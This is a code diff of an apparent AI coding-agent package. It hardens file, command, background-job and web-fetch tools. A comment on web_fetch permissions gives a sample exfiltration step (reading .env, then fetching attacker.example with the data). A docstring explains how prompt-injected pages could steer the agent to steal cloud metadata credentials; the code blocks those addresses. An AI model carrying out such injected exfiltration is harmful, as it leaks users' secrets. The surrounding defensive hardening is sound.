jaitus 0.3.3 → 0.3.5

package/src/agent/tools.js

@@ -17,7 +17,7 @@
 import fs from 'node:fs/promises';
 import fsSync from 'node:fs';
 import path from 'node:path';
-import { spawn } from 'node:child_process';
+import { spawn, spawnSync } from 'node:child_process';
 import { loadIgnore, IGNORE_FILE } from '../project.js';
 import { searchWeb, formatResults } from './websearch.js';
 
@@ -32,6 +32,91 @@ function truncate(text, limit = MAX_OUTPUT) {
   return `${s.slice(0, limit)}\n\n[truncated — ${s.length - limit} more characters]`;
 }
 
+// ── Processes ──
+const CAPTURE_MAX = 2 * 1024 * 1024;
+
+/** Collect a stream's bytes up to CAPTURE_MAX; .text() decodes them once. */
+export function captureStream(stream) {
+  const chunks = [];
+  let size = 0;
+  let dropped = 0;
+  stream?.on('data', (d) => {
+    if (size >= CAPTURE_MAX) { dropped += d.length; return; }
+    const take = d.subarray(0, CAPTURE_MAX - size);
+    chunks.push(take);
+    size += take.length;
+    dropped += d.length - take.length;
+  });
+  return {
+    text() {
+      const s = new TextDecoder('utf-8').decode(Buffer.concat(chunks));
+      return dropped ? `${s}\n[… ${Math.round(dropped / 1024)} KB more output not kept]` : s;
+    },
+  };
+}
+
+/** Kill a child and everything it started. */
+export function killTree(child) {
+  if (!child?.pid) return;
+  try {
+    if (process.platform === 'win32') {
+      spawnSync('taskkill', ['/pid', String(child.pid), '/T', '/F'], { stdio: 'ignore', windowsHide: true });
+    } else {
+      try { process.kill(-child.pid, 'SIGKILL'); } catch { child.kill('SIGKILL'); }
+    }
+  } catch { /* already gone */ }
+}
+
+// ── Text files as they really are on disk ──
+const READ_MAX_BYTES = 16 * 1024 * 1024;
+
+async function readHead(file, bytes) {
+  const handle = await fs.open(file, 'r');
+  try {
+    const buf = Buffer.alloc(bytes);
+    const { bytesRead } = await handle.read(buf, 0, bytes, 0);
+    return buf.subarray(0, bytesRead);
+  } finally { await handle.close(); }
+}
+
+/** A NUL in the first 8 KB means binary — except UTF-16, which is full of them. */
+export function looksBinary(buf) {
+  if (!buf?.length) return false;
+  if ((buf[0] === 0xff && buf[1] === 0xfe) || (buf[0] === 0xfe && buf[1] === 0xff)) return false;
+  return buf.subarray(0, 8192).includes(0);
+}
+
+/**
+ * Bytes → { text, eol, bom, encoding }. UTF-16 (what PowerShell 5.1 `>` writes) is
+ * decoded rather than returned as garbage, and a UTF-8 BOM is remembered so a rewrite
+ * keeps it. `eol` is the file's dominant line ending, so edits can write it back.
+ */
+export function decodeText(buf) {
+  let encoding = 'utf8';
+  let bom = false;
+  let text;
+  if (buf[0] === 0xff && buf[1] === 0xfe) { encoding = 'utf16le'; bom = true; text = buf.subarray(2).toString('utf16le'); }
+  else if (buf[0] === 0xfe && buf[1] === 0xff) {
+    encoding = 'utf16be'; bom = true;
+    const swapped = Buffer.from(buf.subarray(2)); swapped.swap16();
+    text = swapped.toString('utf16le');
+  } else if (buf[0] === 0xef && buf[1] === 0xbb && buf[2] === 0xbf) { bom = true; text = buf.subarray(3).toString('utf8'); }
+  else text = buf.toString('utf8');
+  const crlf = (text.match(/\r\n/g) || []).length;
+  const lf = (text.match(/\n/g) || []).length - crlf;
+  return { text, eol: crlf > lf ? '\r\n' : '\n', bom, encoding };
+}
+
+/** Text (with \n line endings) → bytes in the style decodeText found. */
+export function encodeText(text, { eol = '\n', bom = false, encoding = 'utf8' } = {}) {
+  let body = String(text).replace(/\r\n/g, '\n');
+  if (eol === '\r\n') body = body.replace(/\n/g, '\r\n');
+  if (encoding === 'utf16le') return Buffer.concat([Buffer.from([0xff, 0xfe]), Buffer.from(body, 'utf16le')]);
+  if (encoding === 'utf16be') { const b = Buffer.from(body, 'utf16le'); b.swap16(); return Buffer.concat([Buffer.from([0xfe, 0xff]), b]); }
+  const out = Buffer.from(body, 'utf8');
+  return bom ? Buffer.concat([Buffer.from([0xef, 0xbb, 0xbf]), out]) : out;
+}
+
 /**
  * Resolve a user/model-supplied path inside the working directory.
  * Rejects anything that escapes it, including via a symlink whose real path leads out.
@@ -52,8 +137,18 @@ function safePath(cwd, p) {
     }
   } catch (e) {
     if (e instanceof ToolError) throw e;
-    // Does not exist yet — fine for a write, and the containment check above already
-    // passed on the literal path.
+    // Does not exist yet (a new file): its nearest EXISTING parent must be inside too —
+    // otherwise a write through a symlinked or junctioned directory (src -> C:\Windows)
+    // escaped the project, because only the missing file itself was ever resolved.
+    let parent = path.dirname(resolved);
+    while (parent && !fsSync.existsSync(parent) && path.dirname(parent) !== parent) parent = path.dirname(parent);
+    try {
+      const realParent = fsSync.realpathSync(parent);
+      const parentRel = path.relative(fsSync.realpathSync(cwd), realParent);
+      if (parentRel.startsWith('..') || path.isAbsolute(parentRel)) {
+        throw new ToolError(`Refused: ${p} is inside a folder that links outside the working directory.`);
+      }
+    } catch (inner) { if (inner instanceof ToolError) throw inner; }
   }
   return resolved;
 }
@@ -94,22 +189,29 @@ function refuseIfIgnored(cwd, p) {
   }
 }
 
-async function walk(dir, cwd, out, depth, maxEntries) {
-  if (out.length >= maxEntries || depth < 0) return;
+/**
+ * Every path under `dir`, relative to `cwd`. `out.truncated` is set when the walk
+ * stopped early (entry or depth limit) — callers say so, because "no match" from a walk
+ * that gave up is not "no match". Dot-entries are skipped unless `dot` (a pattern that
+ * asks for `.github/**`); `.git` never.
+ */
+async function walk(dir, cwd, out, depth, maxEntries, { dot = false } = {}) {
+  if (out.length >= maxEntries) { out.truncated = true; return; }
+  if (depth < 0) { out.truncated = true; return; }
   const ignore = ignoreFor(cwd);
   let entries;
   try {
     entries = await fs.readdir(dir, { withFileTypes: true });
   } catch { return; }
   for (const e of entries) {
-    if (out.length >= maxEntries) return;
-    if (e.name.startsWith('.') && e.name !== '.env.example') continue;
+    if (out.length >= maxEntries) { out.truncated = true; return; }
+    if (e.name.startsWith('.') && e.name !== '.env.example' && (!dot || e.name === '.git')) continue;
     const rel = posix(path.relative(cwd, path.join(dir, e.name)));
     if (ignore.matches(rel)) continue;
     if (e.isDirectory()) {
       if (IGNORED_DIRS.has(e.name)) continue;
       out.push(`${rel}/`);
-      await walk(path.join(dir, e.name), cwd, out, depth - 1, maxEntries);
+      await walk(path.join(dir, e.name), cwd, out, depth - 1, maxEntries, { dot });
     } else {
       out.push(rel);
     }
@@ -138,8 +240,14 @@ export const TOOLS = [
       const stat = await fs.stat(file).catch(() => null);
       if (!stat) throw new ToolError(`No such file: ${input.path}`);
       if (stat.isDirectory()) throw new ToolError(`${input.path} is a directory — use list_files.`);
-      const raw = await fs.readFile(file, 'utf8');
+      // A 200 MB log was read whole and split just to return 2000 lines — about a GB of
+      // memory and a frozen interface. Past READ_MAX_BYTES only the head is read.
+      const partial = stat.size > READ_MAX_BYTES;
+      const buf = partial ? await readHead(file, READ_MAX_BYTES) : await fs.readFile(file);
+      if (looksBinary(buf)) throw new ToolError(`${input.path} is a binary file (${Math.round(stat.size / 1024)} KB), not text. Inspect it with a command if you need to.`);
+      const raw = decodeText(buf).text.replace(/\r\n/g, '\n');
       const lines = raw.split('\n');
+      if (partial) lines.push(`[… file is ${Math.round(stat.size / 1048576)} MB; only the first ${Math.round(READ_MAX_BYTES / 1048576)} MB were read. Use search, or a command like findstr / grep, for the rest.]`);
       const start = Math.max(0, (input.offset || 1) - 1);
       const end = Math.min(lines.length, start + (input.limit || MAX_READ_LINES));
       const body = lines.slice(start, end)
@@ -168,9 +276,12 @@ export const TOOLS = [
       const file = safePath(cwd, input.path);
       refuseIfIgnored(cwd, input.path);
       await fs.mkdir(path.dirname(file), { recursive: true });
-      const existed = await fs.stat(file).then(() => true).catch(() => false);
-      await fs.writeFile(file, String(input.content ?? ''), 'utf8');
-      return `${existed ? 'Replaced' : 'Created'} ${input.path}`;
+      const before = await fs.readFile(file).catch(() => null);
+      // A replaced file keeps its line endings and encoding: rewriting a CRLF file as LF
+      // (or a UTF-16 one as UTF-8) changes every line of it in the diff.
+      const style = before ? decodeText(before) : { eol: '\n', bom: false, encoding: 'utf8' };
+      await fs.writeFile(file, encodeText(String(input.content ?? ''), style));
+      return `${before ? 'Replaced' : 'Created'} ${input.path}`;
     },
   },
 
@@ -208,15 +319,26 @@ export const TOOLS = [
     async run(input, { cwd }) {
       const file = safePath(cwd, input.path);
       refuseIfIgnored(cwd, input.path);
-      const raw = await fs.readFile(file, 'utf8').catch(() => null);
-      if (raw === null) throw new ToolError(`No such file: ${input.path}`);
+      const buf = await fs.readFile(file).catch(() => null);
+      if (buf === null) throw new ToolError(`No such file: ${input.path}`);
+      if (looksBinary(buf)) throw new ToolError(`${input.path} is a binary file — it cannot be edited as text.`);
+      // Worked on with plain \n line endings, written back in the file's own. On Windows
+      // most checkouts are CRLF, the model writes \n, and every multi-line `old` failed
+      // to match — "That exact text is not in …" until the stuck detector stopped it.
+      const style = decodeText(buf);
+      const raw = style.text.replace(/\r\n/g, '\n');
+      const lf = (s) => String(s).replace(/\r\n/g, '\n');
 
-      const edits = Array.isArray(input.edits) && input.edits.length
+      const edits = (Array.isArray(input.edits) && input.edits.length
         ? input.edits
-        : [{ old: input.old, new: input.new, replace_all: input.replace_all }];
+        : [{ old: input.old, new: input.new, replace_all: input.replace_all }])
+        .map((e) => (e && typeof e.old === 'string' && typeof e.new === 'string' ? { ...e, old: lf(e.old), new: lf(e.new) } : e));
       if (!edits.length || edits.some((e) => typeof e?.old !== 'string' || typeof e?.new !== 'string')) {
         throw new ToolError('Give old and new, or a list of edits each with old and new.');
       }
+      if (edits.some((e) => e.old === '')) {
+        throw new ToolError('old is empty. To add text, include a line next to where it goes in old; to create or replace a whole file, use write_file. Nothing was changed.');
+      }
 
       // Applied to a working copy and written once. A partial multi-edit — three of five
       // replacements landing before the fourth fails to match — leaves a file in a state
@@ -238,11 +360,18 @@ export const TOOLS = [
             `That text appears ${occurrences} times in ${input.path}${where}. Include more surrounding context, or set replace_all. Nothing was changed.`,
           );
         }
-        next = edit.replace_all ? next.split(edit.old).join(edit.new) : next.replace(edit.old, edit.new);
+        // Spliced, never String.replace with a string: that expands `$$`, `$&` and `$'`
+        // in the NEW text, so `echo "pid $$"` was written as `echo "pid $"` — reported
+        // as a successful edit.
+        if (edit.replace_all) next = next.split(edit.old).join(edit.new);
+        else {
+          const at = next.indexOf(edit.old);
+          next = next.slice(0, at) + edit.new + next.slice(at + edit.old.length);
+        }
         changed += occurrences;
       }
 
-      await fs.writeFile(file, next, 'utf8');
+      await fs.writeFile(file, encodeText(next, style));
       const before = raw.split('\n').length;
       const after = next.split('\n').length;
       const delta = after - before;
@@ -269,13 +398,20 @@ export const TOOLS = [
     summarise: (i) => `glob ${i.pattern}`,
     async run(input, { cwd }) {
       const root = safePath(cwd, input.path || '.');
-      const re = globToRegExp(String(input.pattern || ''));
+      // `src\**\*.ts` is how a Windows path is written; the pattern language is `/`.
+      const pattern = String(input.pattern || '').replace(/\\/g, '/').replace(/^\.\//, '');
+      const re = globToRegExp(pattern);
       const limit = Math.min(Math.max(Number(input.limit) || 200, 1), 2000);
       const found = [];
-      await walk(root, cwd, found, 12, 20_000);
-      const matched = found.filter((rel) => !rel.endsWith('/') && re.test(rel));
+      await walk(root, cwd, found, 12, 20_000, { dot: /(^|\/)\./.test(pattern) });
+      // Matched against the path from `path`, returned from the project root: with
+      // path "src", "*.ts" means src/*.ts. It was matched against the root-relative
+      // path, so glob {pattern:"*.ts", path:"src"} never matched anything.
+      const fromRoot = (rel) => posix(path.relative(root, path.resolve(cwd, rel)));
+      const matched = found.filter((rel) => !rel.endsWith('/') && re.test(fromRoot(rel)));
+      const cut = found.truncated ? ' The search stopped early (a very large tree) — give a narrower path.' : '';
       if (!matched.length) {
-        return `No file matches ${input.pattern}. Note that * does not cross a / — use ** for that, as in **/*.ts.`;
+        return `No file matches ${input.pattern}.${cut} Note that * does not cross a / — use ** for that, as in **/*.ts.`;
       }
       // Newest first: when a pattern matches many files, the ones touched most recently
       // are almost always the ones the question is about.
@@ -305,9 +441,11 @@ export const TOOLS = [
     async run(input, { cwd }) {
       const dir = safePath(cwd, input.path || '.');
       const found = [];
-      await walk(dir, cwd, found, input.depth ?? 2, 600);
+      // depth N means N levels (the walk counts from 0, so it went one deeper than asked).
+      await walk(dir, cwd, found, Math.max(0, (input.depth ?? 2) - 1), 600);
       if (!found.length) return 'No files found.';
-      return truncate(found.sort().join('\n'));
+      const cut = found.truncated ? '\n\n[stopped at 600 entries or the depth limit — list a subdirectory, or use glob]' : '';
+      return truncate(found.sort().join('\n') + cut);
     },
   },
 
@@ -335,12 +473,18 @@ export const TOOLS = [
       }
       const dir = safePath(cwd, input.path || '.');
       const files = [];
-      await walk(dir, cwd, files, 8, 4000);
+      await walk(dir, cwd, files, 12, 20_000);
+      // `glob` may be an ending (".ts") or a real pattern ("*.ts", "**/*.ts"). Only the
+      // ending worked, so a model passing a glob always got "No matches".
+      const g = String(input.glob || '').replace(/\\/g, '/');
+      const fileRe = g && /[*?]/.test(g) ? globToRegExp(g.includes('/') ? g : `**/${g}`) : null;
+      const wanted = (rel) => !g || (fileRe ? fileRe.test(rel) : rel.endsWith(g));
       const hits = [];
+      let capped = false;
       for (const rel of files) {
         if (rel.endsWith('/')) continue;
-        if (input.glob && !rel.endsWith(input.glob)) continue;
-        if (hits.length >= 200) break;
+        if (!wanted(rel)) continue;
+        if (hits.length >= 200) { capped = true; break; }
         let text;
         try {
           const stat = await fs.stat(path.join(cwd, rel));
@@ -352,7 +496,10 @@ export const TOOLS = [
           if (re.test(line)) hits.push(`${rel}:${i + 1}: ${line.trim().slice(0, 240)}`);
         });
       }
-      return hits.length ? truncate(hits.join('\n')) : 'No matches.';
+      const note = capped || hits.length >= 200 ? '\n\n[first 200 matches — narrow the pattern or the path for the rest]'
+        : files.truncated ? '\n\n[the search stopped early (a very large tree) — some files were not searched; give a narrower path]' : '';
+      if (!hits.length) return files.truncated ? 'No matches in the files searched — but the search stopped early (a very large tree). Give a narrower path.' : 'No matches.';
+      return truncate(hits.join('\n') + note);
     },
   },
 
@@ -370,10 +517,11 @@ export const TOOLS = [
       required: ['command'],
     },
     summarise: (i) => i.command,
-    run(input, { cwd }) {
+    run(input, { cwd, signal = null }) {
       const command = String(input.command || '').trim();
       if (!command) throw new ToolError('No command given.');
       const timeout = Math.min(Math.max(Number(input.timeout_ms) || 120_000, 1000), 600_000);
+      if (signal?.aborted) return Promise.resolve('Not run: stopped by the user.');
 
       return new Promise((resolve) => {
         // `shell: true` rather than spawning cmd.exe with an argument array.
@@ -390,30 +538,56 @@ export const TOOLS = [
           // No TTY: anything that would prompt gets EOF and exits instead of hanging
           // forever with nobody able to type into it.
           stdio: ['ignore', 'pipe', 'pipe'],
+          windowsHide: true,
+          // Its own process group on POSIX, so the whole tree can be killed at once.
+          detached: process.platform !== 'win32',
         });
 
-        let stdout = '';
-        let stderr = '';
-        child.stdout.on('data', (d) => { stdout += d; });
-        child.stderr.on('data', (d) => { stderr += d; });
+        // Bytes, decoded once at the end: decoding chunk by chunk split multi-byte
+        // characters across chunks into garbage. Capped: `type huge.log` grew memory
+        // until a RangeError crashed the process.
+        const out = captureStream(child.stdout);
+        const err = captureStream(child.stderr);
+        let note = '';
+        let settled = false;
+
+        const finish = (code) => {
+          if (settled) return;
+          settled = true;
+          clearTimeout(timer);
+          signal?.removeEventListener?.('abort', onAbort);
+          // Each stream is cut on its own and the exit code always survives: truncating
+          // the joined text cut the exit code off the end of any long output, so the
+          // model could not tell whether the command had worked.
+          const parts = [];
+          const stdout = truncate(out.text().trim(), 40_000);
+          const stderr = truncate(err.text().trim(), 16_000);
+          if (stdout) parts.push(stdout);
+          if (stderr) parts.push(`stderr:\n${stderr}`);
+          if (note) parts.push(note);
+          parts.push(`exit code: ${code ?? 'none (killed)'}`);
+          resolve(parts.join('\n\n'));
+        };
 
-        const timer = setTimeout(() => {
-          child.kill('SIGKILL');
-          stderr += `\n[killed after ${timeout}ms]`;
-        }, timeout);
+        // Killing the shell alone left what it started running — on Windows the node or
+        // npm grandchild kept the pipes open, `close` never came, and the tool never
+        // returned: timeouts did nothing and Esc could not stop a command.
+        const stop = (why) => { note = why; killTree(child); setTimeout(() => finish(null), 1500).unref?.(); };
+        const timer = setTimeout(() => stop(`[stopped after ${Math.round(timeout / 1000)}s — the time limit for this command]`), timeout);
+        const onAbort = () => stop('[stopped by the user]');
+        signal?.addEventListener?.('abort', onAbort, { once: true });
 
         child.on('error', (e) => {
+          if (settled) return;
+          settled = true;
           clearTimeout(timer);
           resolve(`Could not run the command: ${e.message}`);
         });
-        child.on('close', (code) => {
-          clearTimeout(timer);
-          const parts = [];
-          if (stdout.trim()) parts.push(stdout.trim());
-          if (stderr.trim()) parts.push(`stderr:\n${stderr.trim()}`);
-          parts.push(`exit code: ${code}`);
-          resolve(truncate(parts.join('\n\n')));
-        });
+        // `exit` is the command finishing; `close` also waits for every process holding
+        // its output. A background child can hold that forever — give it a moment, then
+        // report what the command itself did.
+        child.on('exit', (code) => { setTimeout(() => finish(code), 400).unref?.(); });
+        child.on('close', (code) => finish(code));
       });
     },
   },
@@ -451,7 +625,10 @@ export const TOOLS = [
     name: 'web_fetch',
     description:
       'Fetch a web page and return its readable text with scripts, styles and navigation stripped. For documentation, GitHub files (use raw.githubusercontent.com), API references, and any URL that came from web_search. Prefer this over run_command + curl — it is faster and returns clean text.',
-    needsPermission: false,
+    // Asks, per site ("always" covers that host). Reading never asks and fetching did
+    // not either: read .env, then fetch attacker.example/?d=... went through silently.
+    needsPermission: true,
+    network: true,
     input_schema: {
       type: 'object',
       properties: {
@@ -461,9 +638,10 @@ export const TOOLS = [
       required: ['url'],
     },
     summarise: (i) => `fetch ${String(i.url).slice(0, 80)}`,
-    async run(input) {
+    async run(input, { signal = null } = {}) {
       const raw = String(input.url || '').trim();
       if (!/^https?:\/\//i.test(raw)) throw new ToolError('Give a full http(s) URL.');
+      await refusePrivateTarget(raw);
       const limit = Math.min(Math.max(Number(input.max_chars) || 20_000, 1000), 50_000);
 
       const cached = fetchCache.get(raw);
@@ -480,7 +658,7 @@ export const TOOLS = [
             'accept-language': 'en-US,en;q=0.9',
           },
           redirect: 'follow',
-          signal: AbortSignal.timeout(20_000),
+          signal: signal ? AbortSignal.any([signal, AbortSignal.timeout(20_000)]) : AbortSignal.timeout(20_000),
         });
       } catch (e) {
         throw new ToolError(explainFetchFailure(e, raw));
@@ -502,11 +680,14 @@ export const TOOLS = [
         throw new ToolError(`That URL is ${ctype.split(';')[0]}, not a document. Use read_image for a local image file.`);
       }
 
+      // Read up to FETCH_MAX_BYTES: res.text() had no limit, so a 20-second download could
+      // be hundreds of MB in memory.
+      const body = await readCapped(res, FETCH_MAX_BYTES);
       let text;
       if (/json|xml|csv|javascript|text\/plain|markdown/i.test(ctype)) {
-        text = await res.text();
+        text = body;
       } else {
-        text = readableText(await res.text());
+        text = readableText(body);
         if (!text.trim()) {
           throw new ToolError(
             'The page returned no readable text — it is almost certainly rendered by JavaScript. '
@@ -691,6 +872,41 @@ export async function readImageForModel(cwd, p) {
   return block;
 }
 
+const FETCH_MAX_BYTES = 5 * 1024 * 1024;
+
+async function readCapped(res, max) {
+  if (!res.body?.getReader) return (await res.text()).slice(0, max);
+  const reader = res.body.getReader();
+  const chunks = [];
+  let size = 0;
+  for (;;) {
+    const { done, value } = await reader.read();
+    if (done) break;
+    chunks.push(Buffer.from(value));
+    size += value.length;
+    if (size >= max) { try { await reader.cancel(); } catch { /* closed */ } break; }
+  }
+  return new TextDecoder('utf-8').decode(Buffer.concat(chunks).subarray(0, max));
+}
+
+/**
+ * The cloud metadata endpoint and the link-local range: never. A fetched page or file
+ * with injected instructions could otherwise have the agent read an instance's
+ * credentials (169.254.169.254) and send them on. Localhost and the LAN stay reachable —
+ * a dev server is a normal thing to check — and every fetch asks first.
+ */
+async function refusePrivateTarget(raw) {
+  let host = '';
+  try { host = new URL(raw).hostname.replace(/^\[|\]$/g, ''); } catch { throw new ToolError('That is not a valid URL.'); }
+  const bad = (ip) => /^169\.254\./.test(ip) || /^fe80:/i.test(ip) || ip === '100.100.100.200' || /^fd00:ec2::254$/i.test(ip);
+  if (bad(host) || /^metadata(\.google\.internal)?$/i.test(host)) throw new ToolError('Cloud metadata and link-local addresses are blocked for web_fetch.');
+  try {
+    const { lookup } = await import('node:dns/promises');
+    const addrs = await lookup(host, { all: true });
+    if (addrs.some((a) => bad(a.address))) throw new ToolError('That host resolves to a link-local / metadata address, which is blocked for web_fetch.');
+  } catch (e) { if (e instanceof ToolError) throw e; /* a resolution error is reported by fetch itself */ }
+}
+
 const BROWSER_HEADERS = {
   'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36',
   'accept': 'text/html',

package/src/background.js

@@ -5,7 +5,7 @@
 // with background_read; /tasks lists jobs with attach/stop. `! cmd &` and
 // Ctrl+B start one from the prompt; background_run does it from the model.
 
-import { spawn } from 'node:child_process';
+import { spawn, spawnSync } from 'node:child_process';
 import fs from 'node:fs';
 import os from 'node:os';
 import path from 'node:path';
@@ -36,6 +36,7 @@ export function startBackground(command, cwd) {
   child.on('close', (code) => {
     job.exit = code ?? 'signal';
     try { fs.appendFileSync(log, `\n[exit ${job.exit}]\n`); } catch { /* log gone */ }
+    try { fs.closeSync(out); } catch { /* already closed */ }
   });
   try { child.unref(); } catch { /* stay attached */ }
   job.child = child;
@@ -61,9 +62,19 @@ function findJob(id) {
 export function readBackground(id, tail = 40) {
   const job = findJob(id);
   if (!job) return null;
+  // Only the end of the log: a dev server's log grows for hours, and reading all of it on
+  // every poll put the whole file in memory each time.
   let lines = [];
   try {
-    lines = fs.readFileSync(job.log, 'utf8').split('\n');
+    const size = fs.statSync(job.log).size;
+    const from = Math.max(0, size - 64 * 1024);
+    const fd = fs.openSync(job.log, 'r');
+    try {
+      const buf = Buffer.alloc(size - from);
+      fs.readSync(fd, buf, 0, buf.length, from);
+      lines = buf.toString('utf8').split('\n');
+      if (from > 0) lines.shift();
+    } finally { fs.closeSync(fd); }
   } catch { /* empty so far */ }
   return {
     id: job.id, command: job.command, running: job.exit === null, exit: job.exit,
@@ -75,11 +86,27 @@ export function stopBackground(id) {
   const job = findJob(id);
   if (!job) return false;
   if (job.exit !== null) return true;
+  killJob(job);
+  return true;
+}
+
+// The whole tree. On Windows child.kill() ended only cmd.exe: the dev server it started
+// kept running and holding its port while the tool said "Stopped".
+function killJob(job) {
+  const pid = job.child?.pid;
+  if (!pid) return;
   try {
-    job.child?.kill();
-    if (job.child?.pid && process.platform !== 'win32') {
-      try { process.kill(-job.child.pid); } catch { /* already gone */ }
-    }
+    if (process.platform === 'win32') spawnSync('taskkill', ['/pid', String(pid), '/T', '/F'], { stdio: 'ignore', windowsHide: true });
+    else { try { process.kill(-pid, 'SIGTERM'); } catch { job.child.kill('SIGTERM'); } }
   } catch { /* already gone */ }
-  return true;
 }
+
+/**
+ * Stop every job still running. Called when Jaitus exits: jobs used to outlive it, and
+ * after a restart nothing could see or stop them — a dev server holding a port with no
+ * way back to it.
+ */
+export function stopAllBackground() {
+  for (const job of jobs.values()) if (job.exit === null) killJob(job);
+}
+process.once('exit', stopAllBackground);